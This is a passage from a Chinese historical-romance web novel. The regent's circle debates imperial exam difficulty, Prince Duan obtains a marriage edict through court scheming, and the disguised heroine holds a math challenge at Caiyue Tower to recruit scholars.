待大家都闭了口，她才懵懵懂懂地看向周川行，“我也要发誓吗？” 周川行收敛杀气，目光落在小姑娘身上的时候只剩温柔，“你要是透露出去，就等于要我的命，不用表态，你看着办就是。” 唐兮暖怎么舍得要二郎的命，“二郎，我嘴巴很严的，保证一个字都不会往外说。” 周川行旁若无人地揉了揉她的小脑袋，“我相信你。” 端王看不得二哥把自己的身段放到这么低，“二哥，你双标啊。” 周川行凉凉瞥他一眼，“也有你双标的。” 周川行不正式加入研学工作，他只负责辅助。 当然第一天开始，他还是要盯一下的。 “闲言少叙，谁有什么好想法，不妨提一下。” 寒兮把历年科举题目查看一边，随后传给孙卿兆。 孙卿兆自己留一部分，每人都分几张，“大家都看看，心里有个谱。” 这里端王是才学最差的。 他拿过试题，只看一眼就皱起了眉头。 “这么难，今年的题目要按照这个难度出吗？” 孙卿兆先看寒兮，又看向周川行，“王爷，您的意思呢？” 因为大周朝十余年没开过科举，在座的全都是年轻人，所以没有人参加过乡试。 楚衍晴首先发表意见，“算学科目至少荒废了二十年，这么难的题只怕没几个人能做出来。我觉得还是降低难度，从大部分学子的能力出发。” 姚麟和魏敏昭还处于发蒙的程度，俨然两个凑数的，一时间都没开口。 周川行反问孙卿兆：“你觉得呢？” 孙卿兆略一沉思，道：“乡试马上开始，没那么多时间培养，朝廷严重缺人，这次科举……我的意见是要以筛选为主，题目难度保持不变，谁有才谁就中举。”—— 作者有话说：女宝开始发力了！！！ 第63章 孙卿兆轻飘飘一句话就打算放弃那些多年苦读却不擅长算学的人。 楚衍晴是坚决不同意的。 “你这想法不对,朝廷是想选出真正有才的读书人，而不是筛掉不懂算学的读书人，出太难的题目,这不是等于放弃他们吗？” 孙卿兆坚持自己的想法。 “朝廷急用人才，匆忙之间准备不出太圆满的方案，总有人被舍弃,你那种方案太缓，解决不了重症。” “我还觉得你那种办法太急，会遗漏很多人才，你这不是解决重症，反倒加重朝廷负担。” 楚衍晴丝毫不让。 两个人针锋相对，很快吵了起来。 关键时刻，孙卿兆选择性别攻击，“女子误国，这话果然没错。” 楚衍晴可不是坐以待毙的姑娘，她选择人身攻击,“你一个花子连肚子都填不饱，好不容易上位,恨不得堵死所有读书人的路,其心可诛！” 两个人越吵越激烈，刚开始还有理智,到最后完全成了互相攻击。 姚麟想劝孙卿兆给姑娘家一些面子，“孙大人……” 话没说完,招来孙卿兆一个冷刀子眼，“你，闭嘴。” 端王也想劝楚衍晴消消气，“你……” 他刚开个头,就被楚衍晴堵住，“你也闭嘴。” 端王和姚麟面面相觑。 都识趣的闭上了嘴。 不过端王做了个你们继续的手势，果然不出意料又收到楚衍晴一个冷眼。 如果想让大周朝长治久安，确实得制定一份兼顾各方面的完美选才制度。 周川行认为楚衍晴的提议是上上选。 可大周朝痼疾沉疴急需治疗，现在已经到了无人可用的地步，哪里等得到选才制度完善那天。 别的不说，就是此刻，江南从上到下全部抓捕归案，正在送往京城的路上，这些空缺还不知道怎么填补。 眼看着小姑娘开始打哈欠，心知继续下去也讨论不出什么。 干脆散会，各自回去休息。 “今天就到这吧，你们回去再想想，明天决定。” 众人行完礼要走，周川行忽然喊住楚衍晴，“时辰不早了，楚三小姐干脆留在王府休息吧。” 楚衍晴好久没和表姐相处，正有此意。 她心里一喜，悄悄给唐兮暖一个眼神。 待所有不知道唐兮暖身份的人离开，她拉住唐兮暖的手，“表姐，我今晚跟你一起睡。” 唐兮暖比她还开心，“好啊，好啊，我们快点回后宅，我还有话要和你讲。” 姐们两个手拉手很快消失在小勤政殿。 端王难得和楚衍晴同住，虽然只是同一座宅子，那也足够让他心痒了。 “二哥，你没和二嫂一起睡啊？” 周川行还能不知道他打什么主意，“我们什么情况，你还不知道。” 端王叹了口气：“可惜了。” 如果他二哥和唐兮暖一起睡，他就有机会和楚衍晴独处了。 周川行忍不住讥讽：“你也就这点志向，有这时间还不如好好琢磨琢磨明天怎么拿到赐婚懿旨。” 端王还没明白怎么回事，“二哥，你确定皇嫂会同意我娶楚家姑娘？” 周川行实在没耐心手把手教这个亲弟弟，“你还是去找楚三小姐，她会告诉你怎么做。” 事关终身大事，端王可不敢耽搁，“我这就去找她。” 唐兮暖和楚衍晴才到闺房，话还没说几句端王就跟过来了。 他隔着门口喊楚衍晴，“衍晴你出来，我有事问你。” 唐兮暖最近进步神速，再也不是不谙世事的小姑娘。 她一听到端王的声音，就露出一抹坏笑，“表妹，端王找你哦！” 楚衍晴本来大大方方的，被表姐一笑忽然羞涩起来。 “表姐，他是有事找我。” 唐兮暖才不信，“那他怎么不找我。” 楚衍晴还想跟表姐解释几句，奈何端王不停地喊她，只能含羞带怯的出了卧室。t 唐兮暖没见过别人恋爱什么样子，心里着实好奇。 小倩也好奇，悄声鼓动道：“要不我们听听去？” 唐兮暖一面觉得不好，一面又忍不住好奇。 “悄悄的？不被发现？” 小倩点头，“我们躲远些。” 唐兮暖和小倩仿佛两个小贼，跟着楚衍晴出屋，之后躲在木雕柱子后边。 注意到表妹羞羞答答低着头站在端王面前，端王两只眼睛充满深情，一眨不眨地盯着表妹。 原来这就是有情人相处的样子。 “衍晴，二哥让我明天找皇后赐婚，我这心里总不踏实，皇后怎么可能同意我娶你。” 唐兮暖离着不远，端王每一个字都被她清清楚楚听进了耳朵里。 原来皇后不同意表妹和端王在一起，为什么？ 皇后不喜欢表妹？ 她怎么从来没听说过这些事。 不过她以前被表哥禁锢，外边什么消息都听不到，不知道表妹的事倒也情有可原。 楚衍晴很快开口：“今天王爷杀了王小姐，皇后正恨他呢，这个时候就是你求婚的最好时机。” 唐兮暖听得心头一跳。 表妹嘴里的王爷是二郎吗？ 二郎杀了王小姐？ 之前二郎和她提过，要和王小姐订婚，不过他已经有所谋划，让她放心，难道他的谋划便是杀了她？ 端王还是没明白楚衍晴的意思，“皇后恨二哥，和我们的婚事什么关系？” 楚衍晴解释道：“你猜皇后或者王家现在最怕什么？” 这点端王明白，“当然是怕失势。” 楚衍晴给他一个赞许的眼神，“你说的没错，可他们怎么才能永保荣华？皇上病重，不管皇上哪个弟弟上位，皇后都注定是过去了，那时太师府还想掌权怎么办？” 端王当然知道：“和下一任皇帝联姻。” 楚衍晴：“你说的没错，太师府也是这么想的，所以才想让秦王娶王小姐，可如今王小姐死了，太师府没有适婚的女儿，那他们怎么办？” 端王的智慧只能想到这里，“所以和我们的亲事什么关系？” 楚衍晴也不得不服，“这就是你二哥的高明之处。” 端王急了，“你别卖关子，快点说。” 楚衍晴：“所有人都误会你二哥喜欢我，你二哥从来没解释过。” 端王：“……” 楚衍晴：“筹谋的就是今日，你喜欢我，你二哥也喜欢我，这世上最大的仇是什么？ 父母之仇和夺妻之仇。 皇后恨及了秦王，你这个时候请皇后赐婚，正好合了她的心思。 她现在最想报复秦王，可她又没办法，兄弟反目，是她最容易达成的效果，到时候她就可以利用我控制你们两个。 所以才说，你这个时候请旨赐婚是最合适的时候。” 端王恍然大悟，“原来我二哥想的这么远，佩服佩服！” 楚衍晴伸手敲了敲他的额头，“你呀，整天无所事事还不用心，心都让你二哥操了。” 端王不是不努力，确实想不了那么多。 他们兄弟三人，老大仁厚，老二心思深沉，只有他是个傻白甜。 “可是，万一皇后不想离间我们兄弟呢？” 楚衍晴不知道摄政王还安排了什么，笃定道，“秦王肯定谋划好了，你明天只管进宫就是了，对了，一定要做出和秦王决裂的态度，誓死站在皇后那边。” 端王自己没什么心机，胜在听话，“放心，我知道怎么做。” 楚衍晴不放心，嘱咐道：“事后皇后可能会要求你做什么，不管她让你干什么，都不要忤逆，全部答应下来，之后告诉秦王。” 端王想到马上就能娶回心爱的姑娘，心情大好，他俯身行礼：“多谢夫人指教。” 楚衍晴被他忽然的举动弄臊了，“谁是你夫人，八字还没一撇呢。” 端王从来没有这一刻，这么坚定，“反正我的王妃只能是你，除了你，我谁都不要。” 能听到端王这话，楚衍晴已经知足了。 其实两个人是协议在一起。 楚衍诺逼迫她嫁给小公爷，她虽然查到小公爷强抢民女杀人放火的证据，可不敢把全部的希望赌在这上。 她便找到端王，协议成亲。 条件是她嫁给他，但是不管他纳妾。 从小到大，她盼的都是一生一世一双人。 到最后还是要委屈自己，和别人共同分享自己的丈夫。 楚衍晴和端王所有谈话，唐兮暖从头听到尾。 原本她觉得二郎不太聪明，没想到他竟然能谋划这么多事。 这还只是端王和表妹的亲事。 再加上她的，不是要谋划更多！ 孙卿兆那种算学天才是聪明，周川行这种谋算人心的本事，也是聪明。 忽然间，她发现她家二郎好聪明呢！ “哎吆——” 唐兮暖蹲太久，两腿发软，忽然摔倒发出一声痛呼。 楚衍晴这才发现她和端王两人的谈话都被表姐听去了。 心里实在害羞，她使劲推开端王，急急忙忙跑回卧室。 唐兮暖被小倩扶着起来，有些不好意思面对端王，也用最快的速度跑回了卧室。 “表妹，”唐兮暖偷听就算了，还要楚衍晴给她解答，“皇后为什么不同意你嫁给端王，她不喜欢你吗？” 楚衍晴实在不好解释。 皇后忌惮的是楚家和唐家是姻亲。 事实上，皇后反对的是唐家。 “表姐，”楚衍晴打算和母亲商量商量，将唐家的大仇告诉表姐，不过现在她还是要敷衍一下，“皇后只想让端王娶王家女儿，我们楚家和皇后没有交情，她自然反对。” 唐兮暖明白了，“那二郎想娶我，她也不同意？” 楚衍晴点了点头，“虽然王小姐死了，可王家还有族人，肯定会从族里挑一个。” 她虽然能猜到摄政王撮合端王和她的计划，可摄政王到底要怎么娶表姐，她却一点都想不到。 皇后连楚家都如此防备，表姐可是正经的唐家女儿，皇后能放过？ 当年如果不散播出去表姐是个傻子，又由父亲上奏求情，只怕连表姐都保不住。 因为表姐是个傻子，太师一家才会放松警惕，但凡表姐表现出正常人的心智，都会立刻被王家纳入杀害目标。 唐兮暖忍不住发愁，“好难哦，二郎又要花心思了，我能帮他吗？” 楚衍晴不喜欢看表姐发愁，她两手捏住唐兮暖的脸蛋，挤出一个笑模样，“表姐，你不是帮他选拔人才吗，只要有了人才，就有人帮他做事，这不就等于帮了他！” 唐兮暖也是这么打算的，“先睡觉，养足精神明天好好研究接下来的计划。” 第二天一大早，端王收拾行装准备进宫。 魏公公先一步进宫，将府里的事情捡重点密告给皇后。 “皇后娘娘，您是不知道，王爷对楚家姑娘是铁了心了，昨晚还留了楚家姑娘在府里过夜，三殿下为此和他吵起来，两个人险些大打出手。” 皇后正愁怎么给小妹报仇，闻言心思一动，“有这种事？”—— 作者有话说：女宝：选拔人才，为天地立心，为生民立命，她是认真的。 摄政王：恋爱脑每天筹谋娶回心爱的姑娘，他也是认真的。 第64章 魏公公真假掺半,楚衍晴昨晚又确实在王府住的。 皇后原本就认定周川行喜欢楚三小姐，是以魏公公所言，她不但没有任何怀疑,还自己脑补了许多。 周川行兄弟两个都喜欢楚衍晴，这下有好戏看了。 最好能再添把火，让他们兄弟两人打起来。 他们可是一母同胞的亲兄弟,如果打成仇人，他们王家便可坐收渔利。 “魏公公表现不错，本宫有赏。” 魏公公趁势说道：“皇后娘娘，老奴半生都奉献在宫里，如今老了，也想混个头衔，风光风光。” 皇后不能直接封官，可她到底是大周朝最尊贵的女人。 但凡皇上有个儿子，她都可以临朝听政，哪由得周川行如此横行无忌。 “不知道魏公公想要个什么爵位？” 魏公公狮子大开口,“老奴觉得国公爷就不错。” 皇后最喜欢贪得无厌的人，好控制。 “只要你按本宫说的做,爵位好说。” 魏公公急忙跪地表忠心,什么只忠心皇后，肝脑涂地,要他这条命也在所不惜…… 只要是能想到忠言只管往外冒。 皇后听得十分高兴。 “魏公公，你平时和老二老三接触多,也最了解他们，你给本宫想个办法，怎么让他们生分起来。” 魏公公一时陷入沉思。 端王就是这个时候进的宫。 他见过皇后，也不拐弯抹角,直接表明来意，“皇嫂，川谨求t您给我做主，楚家三小姐明明是我先看中的，二哥不做人，竟然想跟我抢，昨晚还让人住在王府，幸亏我早有察觉，直勾勾盯了一宿。 皇嫂你可得给我做主，川谨没有父母了，大哥又在病中，如果你不给我做主，我只能去给父皇母后守灵去了。” 皇后意味不明地看了一眼魏公公。 魏公公一副这不就来办法了，回以皇后一个眼神。 “咳咳，”皇后故意推脱，“川谨啊，你和川行可是亲兄弟，怎么能因为一个女人争起来，小心伤了兄弟和气。” 端王寸步不让，“二哥但凡把我当亲兄弟，也不该抢我的女人。” 皇后为难道：“你是皇嫂看着长大的，皇嫂自然站在你这边，可是……” 端王竟然跪了下去，“还请皇嫂下懿旨赐婚。” 皇后又一次看向魏公公，魏公公继续点头。 “皇后娘娘，摄政王也太霸道了些，竟然连亲弟弟喜欢的女人都抢，皇后娘娘也该敲打些，否则他都不知道这大周朝谁做主了。” 皇后有意离间周川行兄弟，端王求娶，可是最好的办法。 兄弟夺妻，堪比生死大仇。 她不信周川行能咽下这口气。 只要他们兄弟斗起来，势必两败俱伤，他们王家想报仇还难吗！ “好，皇嫂给你做主，来人，拟旨，赐婚端王和楚家三小姐。” 从后宫出来，端王不得不佩服二哥的心机。 就这么轻轻松松和楚衍晴定下亲事。 他怎么就没想到这么好的办法。 对了，他未婚妻能猜到二哥的计谋，也是绝顶聪明。 以后他的端王府再也不用乱成一锅粥了。 婚期订的很近，和睿王在同一天。 中秋节的第二天。 想象着楚衍晴嫁过去后的情形，脑海里已经有了小夫妻相处的温馨画面。 自从父亲过世，长兄匆忙上位，母亲病重，二哥出征，还有个嗷嗷待哺的小妹，一家人内忧外患，生怕大哥哪天被人拖下皇位，落得个满门覆灭的下场。 这些年每天生活在水深火热中，最奢望的就是能过上普通人家安定的生活。 忽然有了未婚妻，好像这点奢望马上成为现实。 心情比以往任何时候都要充盈。 想来楚衍晴和他有着同样的心情，他得立刻把这个好消息告诉她。 唐兮暖没过多关注表妹的婚事，因为她忙着准备挑战赛的题目。 李貔貅办事很利索，已经开始宣传，日子定在两天后，谁能赢了寒兮就能得到一千两黄金。 这个噱头一宣传出去，彩月楼很快聚集一群打听详细情况的人。 其中有学子，有好奇寒兮的人，有朝中大臣，还有单纯喜欢凑热闹的人。 李貔貅干脆在门口搭了一座舞台，命人敲锣打鼓全天候宣传。 楚衍晴和姚麟负责把大周朝将近一百五十年所出过的算学题目整理分类。 孙卿兆继续研究书院事宜。 每个人都分工明确，忙得昏天黑地。 傍晚，唐兮暖把所有人召集到一起。 她选了三道题目，打算给大家试讲一遍。 这是她第一次当先生，紧张之余还有些兴奋。 暖暖小课堂开课前，唐兮暖来到小勤政殿的书房，“二郎，我要讲课喽，你想不想听听？” 周川行有些犹豫。 其实他比小姑娘紧张。 担心她天赋太高，思维过分跳脱，大家跟不上她的进度。 他实在无法面对小姑娘失败的情景。 可小姑娘第一次开课，他不参加好像说不过去。 “听啊，我这就过去。” 唐兮暖确实是第一次讲课，不过她有先生，记得当年先生是怎么教她的。 照猫画虎，她模仿先生给她讲课的情形，给几个成年人讲出来。 第一道题不难，楚衍晴、姚麟和孙卿兆都是一听就懂。 端王半懂不懂。 魏敏昭不像孙卿兆那般有算学天赋，但魏家是功勋之家，一直很重视子女的教育，天文地理算学音律，魏敏昭都有涉猎。 对于唐兮暖的第一题，听得很轻松。 周川行这些年一直带兵打仗，读书识字都是打仗之余抽空学的，哪里懂算学。 好在流民安置后，他偷偷补过课。 竟然比端王懂得还多。 注意到端王迷糊，悄悄从桌子底下踢他一脚，“让你好好读书，好好读书……” 满屋七个人，就他们兄弟俩学识差。 端王往身后瞥了一眼。 小倩身穿男装站在门口，发现谁没水了，随时准备蓄上。 端王这一眼很明显，小倩比他差远了。 周川行真是没眼看，一个堂堂亲王好意思和个丫鬟比。 第二题难度增加，周川行怎么努力都听不懂了。 端王比他还迷糊。 魏敏昭比端王好些，也不怎么明白。 第三题展示出来，楚衍晴和姚麟都不懂，听完唐兮暖讲解，恍然大悟。 楚衍晴和唐兮暖师出同门，占很多优势。 姚麟是完全靠自己的能力。 而孙卿兆完全是天赋选手，本来就能解开题目，听了唐兮暖所言，思路更加清晰。 什么是天赋。 像唐兮暖这种，天生就是做先生的料。 连周川行这种以前完全没接触过算学，最近才有涉猎的门外汉，在听完唐兮暖讲解后都能弄清楚。 端王也有恍然大悟之感。 “如果以前教我的先生是嫂子……”接触到周川行提醒，急忙改口，“是寒公子这样的，我也能考状元了。” 唐兮暖如释重负。 收到周川行赞许的眼神，一改紧张的心情，此刻十分愉悦。 表姐这么优秀，楚衍晴比谁都开心。 “寒公子这么讲课，想必那些真心求学的学子都能听懂，必定会在考前突飞猛进。” 孙卿兆时刻维护他的观点，“所以科举题目难度不变，毫无影响。” 楚衍晴不是好眼色看他。 孙卿兆假装没看见。 姚麟和魏敏昭先后表态，他们能听懂，来参加科举的学子自然也该听懂，否则有什么必要进考场。 就这样，周川行定下题目难度。 接下来，由楚衍晴和姚麟负责书院的教授课程。 唐兮暖和孙卿兆准备比赛。 魏敏昭负责招收学员。 端王今天请懿旨赐婚，回到王府第一时间告诉楚衍晴，可惜楚衍晴反应平淡。 此刻，书院雏形初步完成。 端王旧事重提，“本王的婚礼定了，中秋第二天，届时还请众位来王府喝杯喜酒。” 他眉眼间全是要做新郎的喜悦。 众人还不知道怎么回事，先是一怔，随即恭喜，最后问他：“不知道端王妃是哪家姑娘？” 端王赤裸裸地盯着楚衍晴，“远在天边近在眼前。” 楚衍晴一个情窦初开的小姑娘，忽然提到婚事，又羞又怯，不过表现远比端王平静。 “有时间说这个，不如好好学学算学，寒公子授课的时候，你最好全程参与，有什么事也好及时处理。” 端王对此真不感兴趣，不过小未婚妻发话了，他自然从命。 “知道了。” 心口莫名有些不舒服，“怎么，你对我们两个成亲的事不太感兴趣？” 楚衍晴心态平和，“怎么回事，你又不是不知道。” 又不是一生一世一双人，有什么可高兴的。 如果不是被兄长逼迫，她根本不会嫁给端王。 待危机过去，她便和端王提出和离。 以后天高海阔，互不干涉。 端王脸色逐渐垮下去。 他知道楚衍晴和他是协议。 不过就算是协议，也要成为他的王妃了。 怎么能是如此寡淡的反应。 唐兮暖反应慢，这会终于关注到重点，“你们两个……要成亲了？” 她昨晚听了全程表妹和端王聊天，知道二郎谋划的事情。 竟然成功了。 那她和二郎的婚事是不是也近了？ 暖暖客堂结束后，唐兮暖凑到周川行身边，笑眯眯地问他：“我表现好吗？” 周川行想不承认都不行，“暖暖是这世上最优秀的先生。” 唐兮暖的小尾巴又翘起来了，“那有赏吗？” 周川行不怀好意地弯起唇角，“以身相许算吗？” 唐兮暖气咻咻哼了一声，“二郎，太抠了容易没有媳妇哦，你一次以身相许，两次以身相许，你一个人要许几次？” 小姑娘钟灵敏秀，全身上下没有一处周川行不爱的。 他伸手捏了捏对方的小鼻子，“嫌弃？” 唐兮暖眼睛亮晶晶的，“其实人家也很喜欢珠宝首饰的。” 这已经不是暗示，周川行恍然意识到，他委屈了自己的小姑娘。 “库房的钥匙给你，喜欢什么自己取。” 唐兮暖不要t：“我想要你亲自选好，亲手送给我的。” 周川行一口答应下来，“我们家小姑娘就这点心愿，当然要满足，是我忽略了暖暖的感受。” 唐兮暖体谅他忙，也不是任性非要他怎么样。 眼看着他什么都依着自己，又忍不住懊悔。 “对了，我听说皇后会反对我们的婚事，你打算怎么办？” 周川行早有筹谋，耽搁至此没有实行，完全是不想委屈他的小姑娘。 可这是最快最稳当的做法。 否则两个人永远属于私定终身，没有名分。 “可能会委屈你……” 唐兮暖不怕委屈，“我想嫁给你，什么委屈我都能忍。” 周川行又何尝不想尽快把人娶回来。 “可是……再给我些时间，没准会有更好的办法。” 唐兮暖心疼二郎朝政那么忙，还要为他们的婚事操心。 “二郎，其实等到三年后也不是不可以。” 那时哥哥回来了，有人给她做主。 长兄如父，也就有了父母之命。 “不行，”周川行想也不想的拒绝，“太久了，我等不及。” 他现在就想把人娶回家，哪怕什么都不做，夜里相拥而眠，清晨入眼便是她。 这大好年华便是值得的。 第65章 江南从上到下所有官员全被秘密抓捕,送往京城。 这么大的事，但凡消息灵通的朝中重臣都得到了消息。 王太师便是其中之一。 左丞相和他来往密切，很多事情都是两人合谋。 虽然谋反案,王太师没有参与，可两个人牵涉太多，如果左丞相咬住他不放,他很难把把自己摘干净。 刚失去一名爱女，又要失去左丞相这个助力，王太师心痛如麻。 可关键时刻，他不得不做出决断。 一面命人半路杀人灭口，一面进宫找皇后商议对策。 他素来知道周川行杀气过重，可也没想到他会把江南五百多名官员一网打尽。 包括那些没有参与的清廉之士，都被羁押进京。 他可真是雷霆手段。 王太师恨不得食肉寝皮，可他没有兵权，拿周川行根本没办法。 路过彩月楼，听说寒兮发起挑战赛。 这些日子,他没少听说周川行养了一个男宠。 宠爱至极，吃同卧同床。 就是这个寒兮。 睿王都曾栽在他身上,被骗走五十万两银子。 王太师把管家叫过来,“你去打听一下，寒兮为什么发起挑战赛？” 管家早打听清楚了,正要回太师，“根据老奴得来的消息,应该是为摄政王选才的，昨个老奴亲自去了一趟彩月楼，发现很多参加乡试的学子报名参与，王爷,要不要老奴把比赛搅黄？” 王太师另有打算，“先不用。” 乡试在即，周川行无人可用，肯定盯死了这次科举。 江南闹出那么大窟窿，就不信周川行能变出人才堵上。 左丞相这件事，他是输了。 可这次科举，谁赢谁输还不一定。 …… 挑战赛开始这天，唐兮暖准时准点达到彩月楼。 仍然是男装打扮，头戴幞头软帽，手持折扇，身穿月青色圆领袍，胸前宝相金钩边，袖口卷草金云纹。 当真是清贵公子，举世无双。 整整齐齐一箱子金块就放在彩月楼大厅正中间，由四位彩月楼护院看守。 六七十斤金灿灿的大金条，在阳光下熠熠生辉，晃得人睁不开眼。 比赛规则很简单，寒兮会在彩月楼连续三天发起战赛。 不管谁都可以报名参加。 挑战者和寒兮互相出题。 难住对方得一分，解答出对方的题目得一分。 分高者获胜。 谁能赢了寒兮，不光可以得到一千两黄金，还能得到一次举荐给摄政王的机会。 不说一千两黄金多诱人，多少人做梦都想得到。 还有推荐给摄政王的机会。 孙卿兆被人举荐，从一个叫花子升为正四品吏部侍郎。 多少人寒窗苦读十年，能中举人都是祖坟冒青烟了。 而能做到四品侍郎，祖坟得从上古时期开始冒烟才有机会。 而见到摄政王，可是升官发财的第一步。 挑战赛开始当天，彩月楼已经人满为患。 比赛题目限于算学。 第一个上台的并不是参加乡试的学子。 而是一个九尺多高的糙汉子。 能第一个登上舞台，全凭他强健的体魄。 身材魁梧，力大无穷。 他两手一胡撸，方圆两步内，全部扫走。 他一步跨上舞台，踩得木板搭起的舞台晃晃悠悠咯吱咯吱直响。 唐兮暖站在舞台中间，仿佛地动山摇一般，怀疑这人不是来跟她挑战算学，而是来跟她比武的。 唐兮暖担心对方没轻重，下意识举起扇子阻止。 “这位大哥，比赛规则你都清楚吧？” 糙汉子一擦嘴巴，粗声粗气地回道：“知道，我出题你答，你出题我答，谁回答的多谁就赢。” 简单明了，唐兮暖给他竖大拇指，“大哥好聪明，现在出题吧。” 糙汉子哪里会出题。 盯着四名护院守护的黄金，绞尽脑汁，还真给他想到一个：“我上个月拎着二斤猪肉去兰花家提亲，兰花她爹不同意，抢走我的猪肉，我又抢回来，找卖猪肉的重新过秤，只剩下半斤，现在我问你，兰花他爹坑了我多少猪肉？” 这个问题还挺实用，把在场所有观众都听笑了。 “刘大壮，最后兰花她爹赔你猪肉了吗？” “兰花嫁给你了吗” “二斤猪肉就想娶媳妇，做梦呢？” 现场气氛竟然分外和谐。 一道算学入门问题，唐兮暖自然张口就来。 她没给糙汉子出准备好的题目，而是就着他的题目添一个附加条件。 又把问题抛给糙汉子。 糙汉子哪里会，盯着金灿灿的大金条双眼冒火，舔了下嘴唇，极其不甘的说道：“我不懂你们这些弯弯绕，我走了。” 他来得快，去的也快，迈着大步跳下舞台，发出砰一声巨响。 街道尘土都被掀起一层。 人群又是一阵哄笑。 接下来参赛的也都不是学子，有的为金条，有的为凑热闹。 唐兮暖从刚开始的精神振奋到后来逐渐失去耐心。 连学子都没有，她怎么造势，怎么举办书院，怎么让那些学子心甘情愿走进她的书院。 小倩心疼主子，悄悄商量道：“公子，要不咱们加些条件，仅限于今秋参加科举的考生吧。” 唐兮暖点了点头，“让李貔貅去办，从下午开始加上条件。” 其实不是没有学子赶来参赛。 没有真才实学，走关系拿到推荐名额的担心上台漏了底。 有才学的，不知道寒兮的底气。 一来持着谨慎心思打算多观望一下。 再者，明晃晃的金子摆在那，万一被人怀疑为金银而来，传出去影响名气，对科举有害无益。 不过他们的观望也止步于唐兮暖快要失去耐心的时候。 那么多金子，谁不想要。 凭本事得来又不丢人，君子爱财取之有道就是。 此刻站在台下几名学子已经开始互相谦虚，时刻准备上台。 有人甚至提前准备好了题目。 务必要难倒台上这位年轻气盛的小公子。 “还有没有人上台？没人我可去休息了，”唐兮暖打算离开。 就在这时候，一位青衫打扮的年轻人爬上舞台。 “在下山西学子，杨志，向寒公子讨教。” 他把提前准备好的三道题目交给唐兮暖，“请寒公子作答。” 唐兮暖也交给山西学子三道题目。 “请这位学子作答。” 科举重新加入算学科目，杨志临阵磨枪，自然遇到很多问题。 心里着实没底应付这次乡试。 大周朝十几年没开科举，重新开科，只在京城开设一个考场。 全国各地想参加的学子，只有一条途径拿到参考名额，那便是找本地官员举荐。 杨志家里倒是本地的大户，和县长是本家。 可县长并不打算给他名额，一个举荐名额已经炒到五千两银子，他家拿不出来，他娘为了这个名额，把家里一半良田全给了知县。 所以这次乡试，他必须中举。 一旦落第，全家人的生计都会成为问题。 交给寒兮的三道题目，全都是他这段时间费解的难题。 如果寒兮答不出来，他能拿到一千两黄金。 如果答出来，算是帮了他大忙。 怎么算都不亏。 唐兮暖是天纵奇才，小时候又由大儒亲自教导，杨志拿给她的三道题，她看一眼心中便有了答案。 当年教唐兮暖的先生，是唐兮暖祖父的生死之交。 唐家满门抄斩后，这位生死之交找到唐兮暖这个唯一的活口，想办法混进侯府，亲自教育。 也就是楚衍诺瞧不起，几次要赶走的“骗子”。 当然这件事，除了那位生死之交，包括唐兮暖在内，没有任何人知道。t 唐兮暖所出的三道题目，杨志只答出来一道最简单的。 唐兮暖挥毫泼墨，很快将杨志所出三道题目的答案写出来。 “杨学子，你看答案可对？” 杨志一目十行，从头扫到尾，险些喜极而泣。 “全对，全对，”杨志连声道，此刻他是真心拜服，“感谢寒公子指教，杨某还有个不情之请，以后遇到问题，能不能随时请教寒公子？” 开办书院的消息还没公布，已经有人主动请教她了。 唐兮暖心里高兴，不过她按照孙卿兆嘱咐的，还是拒绝了。 “寒某最近忙着挑战比赛，只怕没那么多时间。” 杨志心有不甘，可不好在台上说太多。 他跳下舞台，找到李貔貅打算拜托对方帮忙搭线，让他能有机会再向寒兮请教。 李貔貅不知道寒兮的具体计划。 一时间不好回答。 “这……看在你要参加乡试的份上，李某尽力就是。” 杨志下去后，上台的是山东学子林岳。 他的推荐名额是花五千两银子买的。 父亲过世后，一家人的生计全靠母亲给人织布维持。 五千两银子的巨款，他哪里拿得出来。 可朝廷好不容易开科取才，错过这次机会，下次科举万一在十年后，他哪里等得了。 林母心疼儿子，偷偷找本地的员外借五千两银子。 如果限时不还，就用他小妹顶账。 林岳背负家族兴衰，还但系着小妹终生幸福，怎么能不全力以赴。 偏偏他这种普通人家出身的学子，只关注上科开考的科目。 临时加的这科算学是他的薄弱项。 好在他人聪明，重新开始学也没多难，只不过时间太短，没办法举一反三，融会贯通。 今天上台，和杨志的心思差不多，出的题目全都是这段时间遇到的难题。 如果能拿到一万两黄金正好解他燃眉之急。 拿不到，有人帮他解惑也是个不错的选择。 和面对杨志一样，唐兮暖一眼看出答案。 这次她不但耐心写出答案，还帮林岳做了讲解。 林岳茅塞顿开。 当即表达感谢。 林岳之后是北方学子陆远。 他也是携三题而来。 唐兮暖观察一上午，终于见到一个合心意的人才。 虽然所出题目全都是她会的，但题目难度明显比前两个有所提高。 唐兮暖示意小倩留意此人。 陆远此人，二十多岁的样子，这么热的天气竟然戴了斗篷，遮住半张脸。 阳光明媚，他一半脸在阳光下，一半脸隐在斗篷后边。 一双眼睛尤其深沉。 唐兮暖所处的角度正好是他右前方，目之所及，有种难以形状之感。 唐兮暖所出三道题目，陆远答出来两道。 一上午也就出现这么一个人才。 不过总算有所收获。 上午比赛结束，唐兮暖终于有了休息时间，她来到彩月楼后台，瘫在椅子上一动都不想动。 “早知道比赛这么累，只定一天就好了。” 小倩笑眯眯地问她：“那您不帮二郎挑选人才了？” “选啊，”想到能让二郎休息，唐兮暖精神振奋，仿佛打了鸡血般重新充满活力，“吃饭，下午继续。” 周川行刚从皇宫出来，赶到彩月楼。 一大早先去看望皇上，又被皇后喊过去教训。 之后处理朝政。 就这还是借着方便挤出来的。 注意到小姑娘满身疲惫，不复早晨分别时的精神，心里充满愧疚。 好不容易养胖些，万一瘦回去，相当于从他身上割肉，“今天下午就算了，挑战赛只在上午举行就能达到效果。” 第66章 周川行整天忙于朝政,如果是朝廷大事，唐兮暖肯定相信他所言不错。 可关于挑战赛和培养学子，她觉得周川行还不如她。 “二郎……” 两人相处多日,周川行已经足够了解小姑娘。 看她表情就知道对自己充满怀疑。 注意到孙卿兆坐在旁边整理名单，踢了踢他的椅子腿，示意他表态。 孙卿兆怎么可能不明白,摄政王心疼他的小男宠，舍不得他下午参赛。 瞧瞧两人耳鬓厮磨的情形。 望着对方的时候，眼里的浓情蜜意都能用滔滔不绝形容了。 原谅两个男人也可以这么宠。 要不，他也找个男人算了。 不行，不行，他还肩负传宗接代重任，娶个男人回家，他娘还不得找根绳子挂他门口。 还得是王爷有魄力，不惧世俗，也不在乎后代。 “寒老弟,今天上午效果不错，今天下午可以暂停,明天上午再继续,免得他们一直观望，反倒影响效果。” 孙卿兆是本次挑战赛的策划,他的见解当然权威。 唐兮暖高兴了：“那行，今天下午就不比了,孙大哥找好了书院，我想过去看看。” 周川行无奈道：“身体吃得消？” 唐兮暖仔细观察着周川行的脸色，已经能区分出比喜怒哀乐更复杂些的表情。 